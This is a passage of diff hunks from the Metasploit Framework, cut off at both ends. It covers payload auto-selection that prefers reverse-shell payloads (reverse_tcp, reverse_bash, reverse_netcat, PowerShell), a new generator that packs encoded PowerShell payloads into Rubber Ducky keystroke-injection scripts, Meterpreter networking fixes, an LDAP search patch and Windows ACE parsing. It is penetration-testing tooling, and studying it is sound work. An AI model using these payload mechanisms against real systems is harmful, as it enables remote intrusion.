|
||||
mod.datastore['LHOST'] = lhost
|
||||
end
|
||||
end
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
# If there is only one compatible payload, return it immediately
|
||||
if compatible_payloads.length == 1
|
||||
return configure_payload.call(compatible_payloads.first)
|
||||
end
|
||||
|
||||
# XXX: This approach is subpar, and payloads should really be ranked!
|
||||
preferred_payloads = [
|
||||
# These payloads are generally reliable and common enough in practice
|
||||
'/meterpreter/reverse_tcp',
|
||||
'/shell/reverse_tcp',
|
||||
'cmd/unix/reverse_bash',
|
||||
'cmd/unix/reverse_netcat',
|
||||
'cmd/windows/powershell_reverse_tcp',
|
||||
# Fall back on a generic payload to autoselect a specific payload
|
||||
'generic/shell_reverse_tcp',
|
||||
'generic/shell_bind_tcp'
|
||||
]
|
||||
|
||||
# XXX: This is not efficient in the slightest
|
||||
preferred_payloads.each do |type|
|
||||
payload = compatible_payloads.find { |name| name.end_with?(type) }
|
||||
|
||||
next unless payload
|
||||
|
||||
return configure_payload.call(payload)
|
||||
end
|
||||
|
||||
nil
|
||||
Msf::Payload.choose_payload(mod)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -127,6 +127,7 @@ module Msf
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1489,6 +1490,7 @@ module Msf
|
||||
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
|
||||
end
|
||||
|
||||
def show_evasion_options(mod) # :nodoc:
|
||||
|
||||
@@ -1437,6 +1437,18 @@ require 'digest/sha1'
|
||||
method: 'reflection')
|
||||
end
|
||||
|
||||
def self.to_powershell_ducky_script(framework, arch, code)
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
encode_final_payload: true,
|
||||
method: 'reflection')
|
||||
replacers = {}
|
||||
replacers[:var_payload] = powershell
|
||||
read_replace_script_template("to_powershell.ducky_script.template", replacers)
|
||||
end
|
||||
|
||||
def self.to_powershell_hta(framework, arch, code)
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
|
||||
@@ -2155,6 +2167,8 @@ require 'digest/sha1'
|
||||
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
|
||||
when 'python-reflection'
|
||||
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
|
||||
when 'ducky-script-psh'
|
||||
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -2168,6 +2182,7 @@ require 'digest/sha1'
|
||||
"aspx-exe",
|
||||
"axis2",
|
||||
"dll",
|
||||
"ducky-script-psh",
|
||||
"elf",
|
||||
"elf-so",
|
||||
"exe",
|
||||
|
||||
@@ -139,9 +139,13 @@ class PayloadCachedSize
|
||||
opts = OPTS.clone
|
||||
# Assign this way to overwrite the Options key of the newly cloned hash
|
||||
opts['Options'] = opts['Options'].merge(mod.shortname =~ /6/ ? OPTS_IPV6 : OPTS_IPV4)
|
||||
if mod.arch_to_s == ARCH_X64
|
||||
# Extract the AdaptedArch for adaptor payloads, note `mod.adapted_arch` is not part of the public API
|
||||
# at this time, but could be in the future. The use of send is safe for now as it is an internal tool
|
||||
# with automated tests if the API were to change in the future
|
||||
adapted_arch = mod.send(:module_info)['AdaptedArch']
|
||||
if adapted_arch == ARCH_X64 || mod.arch_to_s == ARCH_X64
|
||||
opts['Options'].merge!(OPTS_ARCH_X64)
|
||||
elsif mod.arch_to_s == ARCH_X86
|
||||
elsif adapted_arch == ARCH_X86 || mod.arch_to_s == ARCH_X86
|
||||
opts['Options'].merge!(OPTS_ARCH_X86)
|
||||
end
|
||||
opts
|
||||
|
||||
@@ -165,7 +165,7 @@ module Net # :nodoc:
|
||||
# my $res = Net::DNS::Resolver->new(config_file => '/my/dns.conf');
|
||||
#
|
||||
# This is supported on both UNIX and Windows. Values pulled from a custom
|
||||
# configuration file override the the system's defaults, but can still be
|
||||
# configuration file override the system's defaults, but can still be
|
||||
# overridden by the other arguments to Resolver::new.
|
||||
#
|
||||
# Explicit arguments to Resolver::new override both the system's defaults
|
||||
|
||||
@@ -408,7 +408,7 @@ module Rex
|
||||
end
|
||||
|
||||
#
|
||||
# An error describing an issue that occurred while parsing the the data structure.
|
||||
# An error describing an issue that occurred while parsing the data structure.
|
||||
#
|
||||
class ParserError < GraphMLError
|
||||
end
|
||||
|
||||
@@ -115,7 +115,9 @@ class CommandMapper
|
||||
|
||||
available_modules = [
|
||||
::Rex::Post::Meterpreter,
|
||||
*::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses
|
||||
*::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses,
|
||||
# Railgun is a special case that defines extra TLV_TYPES inside an extension
|
||||
Rex::Post::Meterpreter::Extensions::Stdapi::Railgun
|
||||
].uniq
|
||||
|
||||
available_modules.each do |mod|
|
||||
|
||||
@@ -38,10 +38,9 @@ class Resolve
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
type = response.get_tlv_value(TLV_TYPE_ADDR_TYPE)
|
||||
raw = response.get_tlv_value(TLV_TYPE_IP)
|
||||
|
||||
return raw_to_host_ip_pair(hostname, raw, type)
|
||||
return raw_to_host_ip_pair(hostname, raw)
|
||||
end
|
||||
|
||||
def resolve_hosts(hostnames, family=AF_INET)
|
||||
@@ -56,40 +55,31 @@ class Resolve
|
||||
|
||||
hosts = []
|
||||
raws = []
|
||||
types = []
|
||||
|
||||
response.each(TLV_TYPE_IP) do |raw|
|
||||
raws << raw
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_ADDR_TYPE) do |type|
|
||||
types << type
|
||||
end
|
||||
|
||||
0.upto(hostnames.length - 1) do |i|
|
||||
raw = raws[i]
|
||||
type = types[i]
|
||||
host = hostnames[i]
|
||||
|
||||
hosts << raw_to_host_ip_pair(host, raw.value, type.value)
|
||||
hosts << raw_to_host_ip_pair(host, raw&.value)
|
||||
end
|
||||
|
||||
return hosts
|
||||
end
|
||||
|
||||
def raw_to_host_ip_pair(host, raw, type)
|
||||
def raw_to_host_ip_pair(host, raw)
|
||||
if raw.nil? or host.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if raw.empty?
|
||||
ip = nil
|
||||
else
|
||||
if type == AF_INET
|
||||
ip = Rex::Socket.addr_ntoa(raw[0..3])
|
||||
else
|
||||
ip = Rex::Socket.addr_ntoa(raw[0..16])
|
||||
end
|
||||
ip = nil
|
||||
if raw.length == 4 || raw.length == 16
|
||||
ip = Rex::Socket.addr_ntoa(raw)
|
||||
elsif raw.length != 0
|
||||
wlog("hostname resolution failed, the returned address is corrupt (hostname: #{host}, length: #{raw.length})")
|
||||
end
|
||||
|
||||
result = { :hostname => host, :ip => ip }
|
||||
|
||||
+3
-2
@@ -31,7 +31,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
# Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter
|
||||
# for a COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN will be processed here. We create a new TcpClientChannel for each request
|
||||
# received and store it in the respective tcp server channels list of new pending client channels.
|
||||
# These new tcp client channels are passed off via a call the the tcp server channels accept() method.
|
||||
# These new tcp client channels are passed off via a call the tcp server channels accept() method.
|
||||
#
|
||||
def self.request_handler(client, packet)
|
||||
return false unless packet.method == COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN
|
||||
@@ -52,7 +52,8 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
}
|
||||
)
|
||||
|
||||
client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS, packet, {:sock_params => params})
|
||||
client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS, packet, sock_params: params)
|
||||
ilog("enqueueing new TCP client with channel id #{cid}")
|
||||
|
||||
@@server_channels[server_channel] ||= ::Queue.new
|
||||
@@server_channels[server_channel].enq(client_channel)
|
||||
|
||||
@@ -471,6 +471,7 @@ class Console::CommandDispatcher::Stdapi::Net
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("Reverse TCP relay created: (remote) #{rhost}:#{rport} -> (local) #{lhost}:#{lport}")
|
||||
else
|
||||
# Validate parameters
|
||||
unless lport && rhost && rport
|
||||
@@ -486,10 +487,9 @@ class Console::CommandDispatcher::Stdapi::Net
|
||||
'MeterpreterRelay' => true,
|
||||
'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) })
|
||||
lport = relay.opts['LocalPort']
|
||||
|
||||
print_status("Forward TCP relay created: (local) #{lhost}:#{lport} -> (remote) #{rhost}:#{rport}")
|
||||
end
|
||||
|
||||
print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}")
|
||||
|
||||
# Delete local port forwards
|
||||
when 'delete', 'remove', 'del', 'rm'
|
||||
|
||||
|
||||
@@ -41,6 +41,234 @@ class Net::LDAP::Connection # :nodoc:
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
# Monkeypatch upstream library for now to support :control
|
||||
# hash option in `args` so that we can provide controls within
|
||||
# searches. Needed so we can specify the LDAP_SERVER_SD_FLAGS_OID
|
||||
# flag for searches to prevent getting the SACL when querying for
|
||||
# ntSecurityDescriptor, as this is retrieved by default and non-admin
|
||||
# users are not allowed to retrieve SACLs for objects. Therefore by
|
||||
# adjusting the search to not retrieve SACLs, non-admin users can still
|
||||
# retrieve information about the security of objects without violating this rule.
|
||||
#
|
||||
# @see https://github.com/rapid7/metasploit-framework/issues/17324
|
||||
# @see https://github.com/ruby-ldap/ruby-net-ldap/pull/411
|
||||
#
|
||||
# @param [Hash] args A hash of the arguments to be utilized by the search operation.
|
||||
#
|
||||
# @return [Net::LDAP::PDU] A Protocol Data Unit (PDU) object, represented by the Net::LDAP::PDU class, containing the results of the search operation.
|
||||
#
|
||||
def search(args = nil)
|
||||
args ||= {}
|
||||
|
||||
# filtering, scoping, search base
|
||||
# filter: https://tools.ietf.org/html/rfc4511#section-4.5.1.7
|
||||
# base: https://tools.ietf.org/html/rfc4511#section-4.5.1.1
|
||||
# scope: https://tools.ietf.org/html/rfc4511#section-4.5.1.2
|
||||
filter = args[:filter] || Net::LDAP::Filter.eq("objectClass", "*")
|
||||
base = args[:base]
|
||||
scope = args[:scope] || Net::LDAP::SearchScope_WholeSubtree
|
||||
|
||||
# attr handling
|
||||
# attrs: https://tools.ietf.org/html/rfc4511#section-4.5.1.8
|
||||
# attrs_only: https://tools.ietf.org/html/rfc4511#section-4.5.1.6
|
||||
attrs = Array(args[:attributes])
|
||||
attrs_only = args[:attributes_only] == true
|
||||
|
||||
# references
|
||||
# refs: https://tools.ietf.org/html/rfc4511#section-4.5.3
|
||||
# deref: https://tools.ietf.org/html/rfc4511#section-4.5.1.3
|
||||
refs = args[:return_referrals] == true
|
||||
deref = args[:deref] || Net::LDAP::DerefAliases_Never
|
||||
|
||||
# limiting, paging, sorting
|
||||
# size: https://tools.ietf.org/html/rfc4511#section-4.5.1.4
|
||||
# time: https://tools.ietf.org/html/rfc4511#section-4.5.1.5
|
||||
size = args[:size].to_i
|
||||
time = args[:time].to_i
|
||||
paged = args[:paged_searches_supported]
|
||||
sort = args.fetch(:sort_controls, false)
|
||||
|
||||
# arg validation
|
||||
raise ArgumentError, "search base is required" unless base
|
||||
raise ArgumentError, "invalid search-size" unless size >= 0
|
||||
raise ArgumentError, "invalid search scope" unless Net::LDAP::SearchScopes.include?(scope)
|
||||
raise ArgumentError, "invalid alias dereferencing value" unless Net::LDAP::DerefAliasesArray.include?(deref)
|
||||
|
||||
# arg transforms
|
||||
filter = Net::LDAP::Filter.construct(filter) if filter.is_a?(String)
|
||||
ber_attrs = attrs.map { |attr| attr.to_s.to_ber }
|
||||
ber_sort = encode_sort_controls(sort)
|
||||
|
||||
# An interesting value for the size limit would be close to A/D's
|
||||
# built-in page limit of 1000 records, but openLDAP newer than version
|
||||
# 2.2.0 chokes on anything bigger than 126. You get a silent error that
|
||||
# is easily visible by running slapd in debug mode. Go figure.
|
||||
#
|
||||
# Changed this around 06Sep06 to support a caller-specified search-size
|
||||
# limit. Because we ALWAYS do paged searches, we have to work around the
|
||||
# problem that it's not legal to specify a "normal" sizelimit (in the
|
||||
# body of the search request) that is larger than the page size we're
|
||||
# requesting. Unfortunately, I have the feeling that this will break
|
||||
# with LDAP servers that don't support paged searches!!!
|
||||
#
|
||||
# (Because we pass zero as the sizelimit on search rounds when the
|
||||
# remaining limit is larger than our max page size of 126. In these
|
||||
# cases, I think the caller's search limit will be ignored!)
|
||||
#
|
||||
# CONFIRMED: This code doesn't work on LDAPs that don't support paged
|
||||
# searches when the size limit is larger than 126. We're going to have
|
||||
# to do a root-DSE record search and not do a paged search if the LDAP
|
||||
# doesn't support it. Yuck.
|
||||
rfc2696_cookie = [126, ""]
|
||||
result_pdu = nil
|
||||
n_results = 0
|
||||
|
||||
message_id = next_msgid
|
||||
|
||||
instrument "search.net_ldap_connection",
|
||||
message_id: message_id,
|
||||
filter: filter,
|
||||
base: base,
|
||||
scope: scope,
|
||||
size: size,
|
||||
time: time,
|
||||
sort: sort,
|
||||
referrals: refs,
|
||||
deref: deref,
|
||||
attributes: attrs do |payload|
|
||||
loop do
|
||||
# should collect this into a private helper to clarify the structure
|
||||
query_limit = 0
|
||||
if size > 0
|
||||
query_limit = if paged
|
||||
(((size - n_results) < 126) ? (size - n_results) : 0)
|
||||
else
|
||||
size
|
||||
end
|
||||
end
|
||||
|
||||
request = [
|
||||
base.to_ber,
|
||||
scope.to_ber_enumerated,
|
||||
deref.to_ber_enumerated,
|
||||
query_limit.to_ber, # size limit
|
||||
time.to_ber,
|
||||
attrs_only.to_ber,
|
||||
filter.to_ber,
|
||||
ber_attrs.to_ber_sequence,
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchRequest)
|
||||
|
||||
# rfc2696_cookie sometimes contains binary data from Microsoft Active Directory
|
||||
# this breaks when calling to_ber. (Can't force binary data to UTF-8)
|
||||
# we have to disable paging (even though server supports it) to get around this...
|
||||
|
||||
user_controls = args.fetch(:controls, [])
|
||||
controls = []
|
||||
controls <<
|
||||
[
|
||||
Net::LDAP::LDAPControls::PAGED_RESULTS.to_ber,
|
||||
# Criticality MUST be false to interoperate with normal LDAPs.
|
||||
false.to_ber,
|
||||
rfc2696_cookie.map(&:to_ber).to_ber_sequence.to_s.to_ber,
|
||||
].to_ber_sequence if paged
|
||||
controls << ber_sort if ber_sort
|
||||
if controls.empty? && user_controls.empty?
|
||||
controls = nil
|
||||
else
|
||||
controls += user_controls
|
||||
controls = controls.to_ber_contextspecific(0)
|
||||
end
|
||||
|
||||
write(request, controls, message_id)
|
||||
|
||||
result_pdu = nil
|
||||
controls = []
|
||||
|
||||
while pdu = queued_read(message_id)
|
||||
case pdu.app_tag
|
||||
when Net::LDAP::PDU::SearchReturnedData
|
||||
n_results += 1
|
||||
yield pdu.search_entry if block_given?
|
||||
when Net::LDAP::PDU::SearchResultReferral
|
||||
if refs
|
||||
if block_given?
|
||||
se = Net::LDAP::Entry.new
|
||||
se[:search_referrals] = (pdu.search_referrals || [])
|
||||
yield se
|
||||
end
|
||||
end
|
||||
when Net::LDAP::PDU::SearchResult
|
||||
result_pdu = pdu
|
||||
controls = pdu.result_controls
|
||||
if refs && pdu.result_code == Net::LDAP::ResultCodeReferral
|
||||
if block_given?
|
||||
se = Net::LDAP::Entry.new
|
||||
se[:search_referrals] = (pdu.search_referrals || [])
|
||||
yield se
|
||||
end
|
||||
end
|
||||
break
|
||||
else
|
||||
raise Net::LDAP::ResponseTypeInvalidError, "invalid response-type in search: #{pdu.app_tag}"
|
||||
end
|
||||
end
|
||||
|
||||
if result_pdu.nil?
|
||||
raise Net::LDAP::ResponseMissingOrInvalidError, "response missing"
|
||||
end
|
||||
|
||||
# count number of pages of results
|
||||
payload[:page_count] ||= 0
|
||||
payload[:page_count] += 1
|
||||
|
||||
# When we get here, we have seen a type-5 response. If there is no
|
||||
# error AND there is an RFC-2696 cookie, then query again for the next
|
||||
# page of results. If not, we're done. Don't screw this up or we'll
|
||||
# break every search we do.
|
||||
#
|
||||
# Noticed 02Sep06, look at the read_ber call in this loop, shouldn't
|
||||
# that have a parameter of AsnSyntax? Does this just accidentally
|
||||
# work? According to RFC-2696, the value expected in this position is
|
||||
# of type OCTET STRING, covered in the default syntax supported by
|
||||
# read_ber, so I guess we're ok.
|
||||
more_pages = false
|
||||
if result_pdu.result_code == Net::LDAP::ResultCodeSuccess and controls
|
||||
controls.each do |c|
|
||||
if c.oid == Net::LDAP::LDAPControls::PAGED_RESULTS
|
||||
# just in case some bogus server sends us more than 1 of these.
|
||||
more_pages = false
|
||||
if c.value and c.value.length > 0
|
||||
cookie = c.value.read_ber[1]
|
||||
if cookie and cookie.length > 0
|
||||
rfc2696_cookie[1] = cookie
|
||||
more_pages = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
break unless more_pages
|
||||
end # loop
|
||||
|
||||
# track total result count
|
||||
payload[:result_count] = n_results
|
||||
|
||||
result_pdu || OpenStruct.new(:status => :failure, :result_code => Net::LDAP::ResultCodeOperationsError, :message => "Invalid search")
|
||||
end # instrument
|
||||
ensure
|
||||
|
||||
# clean up message queue for this search
|
||||
messages = message_queue.delete(message_id)
|
||||
|
||||
# in the exceptional case some messages were *not* consumed from the queue,
|
||||
# instrument the event but do not fail.
|
||||
if !messages.nil? && !messages.empty?
|
||||
instrument "search_messages_unread.net_ldap_connection",
|
||||
message_id: message_id, messages: messages
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module Rex
|
||||
|
||||
+128
-22
@@ -7,22 +7,37 @@ module Rex::Proto::MsDtyp
|
||||
hide :reserved0, :reserved1
|
||||
|
||||
# the protocol field id reserved for protocol-specific access rights
|
||||
bit16 :protocol
|
||||
uint16 :protocol
|
||||
|
||||
bit3 :reserved0
|
||||
bit1 :sy
|
||||
bit1 :wo
|
||||
bit1 :wd
|
||||
bit1 :rc
|
||||
bit1 :de
|
||||
bit3 :reserved0
|
||||
bit1 :sy
|
||||
bit1 :wo
|
||||
bit1 :wd
|
||||
bit1 :rc
|
||||
bit1 :de
|
||||
|
||||
bit1 :gr
|
||||
bit1 :gw
|
||||
bit1 :gx
|
||||
bit1 :ga
|
||||
bit2 :reserved1
|
||||
bit1 :ma
|
||||
bit1 :as
|
||||
bit1 :gr
|
||||
bit1 :gw
|
||||
bit1 :gx
|
||||
bit1 :ga
|
||||
bit2 :reserved1
|
||||
bit1 :ma
|
||||
bit1 :as
|
||||
def bit_names
|
||||
names = []
|
||||
names << :GENERIC_READ if self.gr != 0
|
||||
names << :GENERIC_WRITE if self.gw != 0
|
||||
names << :GENERIC_EXECUTE if self.gx != 0
|
||||
names << :GENERIC_ALL if self.ga != 0
|
||||
names << :MAXIMUM_ALLOWED if self.ma != 0
|
||||
names << :ACCESS_SYSTEM_SECURITY if self.as != 0
|
||||
names << :SYNCHRONIZE if self.sy != 0
|
||||
names << :WRITE_OWNER if self.wo != 0
|
||||
names << :WRITE_DACL if self.wd != 0
|
||||
names << :READ_CONTROL if self.rc != 0
|
||||
names << :DELETE if self.de != 0
|
||||
names
|
||||
end
|
||||
|
||||
ALL = MsDtypAccessMask.new({ gr: 1, gw: 1, gx: 1, ga: 1, ma: 1, as: 1, sy: 1, wo: 1, wd: 1, rc: 1, de: 1, protocol: 0xffff })
|
||||
NONE = MsDtypAccessMask.new({ gr: 0, gw: 0, gx: 0, ga: 0, ma: 0, as: 0, sy: 0, wo: 0, wd: 0, rc: 0, de: 0, protocol: 0 })
|
||||
@@ -64,6 +79,34 @@ module Rex::Proto::MsDtyp
|
||||
class MsDtypGuid < RubySMB::Dcerpc::Uuid
|
||||
end
|
||||
|
||||
# Definitions taken from [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586)
|
||||
class MsDtypAceType
|
||||
ACCESS_ALLOWED_ACE_TYPE = 0x0
|
||||
ACCESS_DENIED_ACE_TYPE = 0x1
|
||||
SYSTEM_AUDIT_ACE_TYPE = 0x2
|
||||
SYSTEM_ALARM_ACE_TYPE = 0x3 # Reserved for future use according to documentation.
|
||||
ACCESS_ALLOWED_COMPOUND_ACE_TYPE = 0x4 # Reserved for future use according to documentation.
|
||||
ACCESS_ALLOWED_OBJECT_ACE_TYPE = 0x5
|
||||
ACCESS_DENIED_OBJECT_ACE_TYPE = 0x6
|
||||
SYSTEM_AUDIT_OBJECT_ACE_TYPE = 0x7
|
||||
SYSTEM_ALARM_OBJECT_ACE_TYPE = 0x8 # Reserved for future use according to documentation.
|
||||
ACCESS_ALLOWED_CALLBACK_ACE_TYPE = 0x9
|
||||
ACCESS_DENIED_CALLBACK_ACE_TYPE = 0xA
|
||||
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE = 0xB
|
||||
ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE = 0xC
|
||||
SYSTEM_AUDIT_CALLBACK_ACE_TYPE = 0xD
|
||||
SYSTEM_ALARM_CALLBACK_ACE_TYPE = 0xE # Reserved for future use according to documentation.
|
||||
SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE = 0xF
|
||||
SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE = 0x10 # Reserved for future use according to documentation.
|
||||
SYSTEM_MANDATORY_LABEL_ACE_TYPE = 0x11
|
||||
SYSTEM_RESOURCE_ATTRIBUTE_ACE_TYPE = 0x12
|
||||
SYSTEM_SCOPED_POLICY_ID_ACE_TYPE = 0x13
|
||||
|
||||
def self.name(value)
|
||||
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value }
|
||||
end
|
||||
end
|
||||
|
||||
# [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586)
|
||||
class MsDtypAceHeader < BinData::Record
|
||||
endian :little
|
||||
@@ -82,20 +125,73 @@ module Rex::Proto::MsDtyp
|
||||
uint16 :ace_size, initial_value: -> { parent&.num_bytes || 0 }
|
||||
end
|
||||
|
||||
# [2.4.4.2 ACCESS_ALLOWED_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb)
|
||||
class MsDtypAccessAllowedAceBody < BinData::Record
|
||||
class MsDtypAceNonObjectBody < BinData::Record
|
||||
endian :little
|
||||
|
||||
ms_dtyp_access_mask :access_mask
|
||||
ms_dtyp_sid :sid
|
||||
ms_dtyp_sid :sid, byte_align: 4
|
||||
end
|
||||
|
||||
class MsDtypAceObjectBody < BinData::Record
|
||||
endian :little
|
||||
|
||||
ms_dtyp_access_mask :access_mask
|
||||
struct :flags do
|
||||
bit1 :reserved5
|
||||
bit1 :reserved4
|
||||
bit1 :reserved3
|
||||
bit1 :reserved2
|
||||
bit1 :reserved1
|
||||
bit1 :reserved
|
||||
bit1 :ace_inherited_object_type_present
|
||||
bit1 :ace_object_type_present
|
||||
end
|
||||
ms_dtyp_guid :object_type, onlyif: -> { flags.ace_object_type_present != 0x0 }
|
||||
ms_dtyp_guid :inherited_object_type, onlyif: -> { flags.ace_inherited_object_type_present != 0x0 }
|
||||
ms_dtyp_sid :sid, byte_align: 4
|
||||
end
|
||||
|
||||
# [2.4.4.2 ACCESS_ALLOWED_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb)
|
||||
class MsDtypAccessAllowedAce < BinData::Record
|
||||
class MsDtypAccessAllowedAceBody < MsDtypAceNonObjectBody
|
||||
end
|
||||
|
||||
# [2.4.4.4 ACCESS_DENIED_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/b1e1321d-5816-4513-be67-b65d8ae52fe8)
|
||||
class MsDtypAccessDeniedAceBody < MsDtypAceNonObjectBody
|
||||
end
|
||||
|
||||
# [2.4.4.10 SYSTEM_AUDIT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/9431fd0f-5b9a-47f0-b3f0-3015e2d0d4f9)
|
||||
class MsDtypSystemAuditAceBody < MsDtypAceNonObjectBody
|
||||
end
|
||||
|
||||
# [2.4.4.3 ACCESS_ALLOWED_OBJECT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe)
|
||||
class MsDtypAccessAllowedObjectAceBody < MsDtypAceObjectBody
|
||||
end
|
||||
|
||||
# [2.4.4.5 ACCESS_DENIED_OBJECT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/8720fcf3-865c-4557-97b1-0b3489a6c270)
|
||||
class MsDtypAccessDeniedObjectAceBody < MsDtypAceObjectBody
|
||||
end
|
||||
|
||||
# [2.4.4.11 SYSTEM_AUDIT_OBJECT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c8da72ae-6b54-4a05-85f4-e2594936d3d5)
|
||||
class MsDtypSystemAuditObjectAceBody < MsDtypAceObjectBody
|
||||
endian :little
|
||||
|
||||
ms_dtyp_ace_header :header, initial_value: { ace_type: 0 }
|
||||
ms_dtyp_access_allowed_ace_body :body
|
||||
string :application_data, read_length: -> { calc_app_data_length }
|
||||
|
||||
def calc_app_data_length
|
||||
ace_header = parent&.header
|
||||
return 0 if ace_header.nil?
|
||||
ace_size = ace_header&.ace_size
|
||||
return 0 if ace_size.nil? or (ace_size == 0)
|
||||
|
||||
ace_header_length = ace_header.to_binary_s.length
|
||||
body = parent&.body
|
||||
if body.nil?
|
||||
return 0 # Read no data as there is no body, so either we have done some data misalignment or we shouldn't be reading data.
|
||||
else
|
||||
ace_body_length = body.to_binary_s.length
|
||||
return ace_size - (ace_header_length + ace_body_length)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class MsDtypAce < BinData::Record
|
||||
@@ -103,8 +199,18 @@ module Rex::Proto::MsDtyp
|
||||
|
||||
ms_dtyp_ace_header :header
|
||||
choice :body, selection: -> { header.ace_type } do
|
||||
ms_dtyp_access_allowed_ace_body 0
|
||||
string :default, read_length: -> { header.ace_size - body.rel_offset }
|
||||
ms_dtyp_access_allowed_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
|
||||
ms_dtyp_access_denied_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_ACE_TYPE
|
||||
ms_dtyp_system_audit_ace_body Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_ACE_TYPE
|
||||
# Type 3 is reserved for future use
|
||||
# Type 4 is reserved for future use
|
||||
ms_dtyp_access_allowed_object_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_OBJECT_ACE_TYPE
|
||||
ms_dtyp_access_denied_object_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_OBJECT_ACE_TYPE
|
||||
ms_dtyp_system_audit_object_ace_body Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_OBJECT_ACE_TYPE
|
||||
# Type 8 is reserved for future use
|
||||
# Type 14 aka 0xE is reserved for future use
|
||||
# Type 16 aka 0x10 is reserved for future use
|
||||
string :default, read_length: -> { header.ace_size - body.rel_offset }
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ module Rex
|
||||
# @return [Integer] the Java RMI version
|
||||
attr_accessor :version
|
||||
# @!attribute protocol
|
||||
# @return [Integer] the protocol where the the messages are wrapped within
|
||||
# @return [Integer] the protocol where the messages are wrapped within
|
||||
attr_accessor :protocol
|
||||
|
||||
private
|
||||
|
||||
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.97'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.101'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
||||
@@ -53,7 +53,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def build_ace(sid)
|
||||
Rex::Proto::MsDtyp::MsDtypAccessAllowedAce.new({
|
||||
Rex::Proto::MsDtyp::MsDtypAce.new({
|
||||
header: {
|
||||
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
|
||||
},
|
||||
body: {
|
||||
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,
|
||||
sid: sid
|
||||
|
||||
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sploit << "ST:uuid:schemas:device:MX:3"
|
||||
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
|
||||
